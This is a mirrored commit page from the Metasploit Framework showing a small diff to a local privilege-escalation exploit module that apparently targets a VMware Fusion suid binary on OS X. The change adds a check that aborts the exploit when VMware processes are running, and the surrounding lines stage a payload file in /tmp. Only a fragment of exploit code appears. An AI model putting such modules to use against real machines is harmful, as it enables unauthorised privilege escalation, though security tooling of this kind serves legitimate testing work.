1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Check for running vmware processes first.

This commit is contained in:
Joe Vennix 2014-09-24 19:11:38 -05:00
parent 99da950734
commit f6708b4d83
No known key found for this signature in database
GPG Key ID: 127B05FB3E85A2B0

View File

@ -64,7 +64,15 @@ class Metasploit3 < Msf::Exploit::Local
end
def exploit
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
process_check = datastore['VMWARE_PATH'] + '/Contents/Library/[VO]'
processes = cmd_exec("bash -c \"ps ax | grep '#{process_check}'\"").split("\n")
if processes.length > 0
print_error "VMware is already running the following processes:\n " + processes.join("\n")
print_error "These processes must be killed before exploiting."
return
end
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
path = '/Contents/Library/Open VMware Fusion Services' # path to the suid binary